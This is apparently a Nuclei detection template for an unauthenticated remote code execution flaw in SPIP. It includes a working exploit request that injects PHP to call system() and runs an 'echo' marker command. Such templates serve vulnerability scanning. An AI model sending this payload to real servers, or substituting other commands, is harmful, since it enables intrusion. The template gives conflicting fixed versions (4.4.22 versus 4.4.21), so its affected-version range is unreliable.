SPIP < 4.4.22 - Unauthenticated RCE

id: CVE-2026-77806

info:
  name: SPIP < 4.4.22 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Update to version 4.4.21 or later.
  reference:
    - https://securityonline.info/cve-2026-77806-spip-unauthenticated-rce/
    - https://blog.spip.net/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-77806
    epss-score: 0.04201
    epss-percentile: 0.90234
    cwe-id: CWE-94
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.component:"SPIP"
    fofa-query: body="spip.php"
  tags: cve,cve2026,spip,rce,unauth,vkev

variables:
  marker: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /spip.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "spip.php", "spip_document", "spip_logo")'
        condition: and
        internal: true

  - raw:
      - |
        POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        0=echo {{marker}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{marker}}")'
        condition: and
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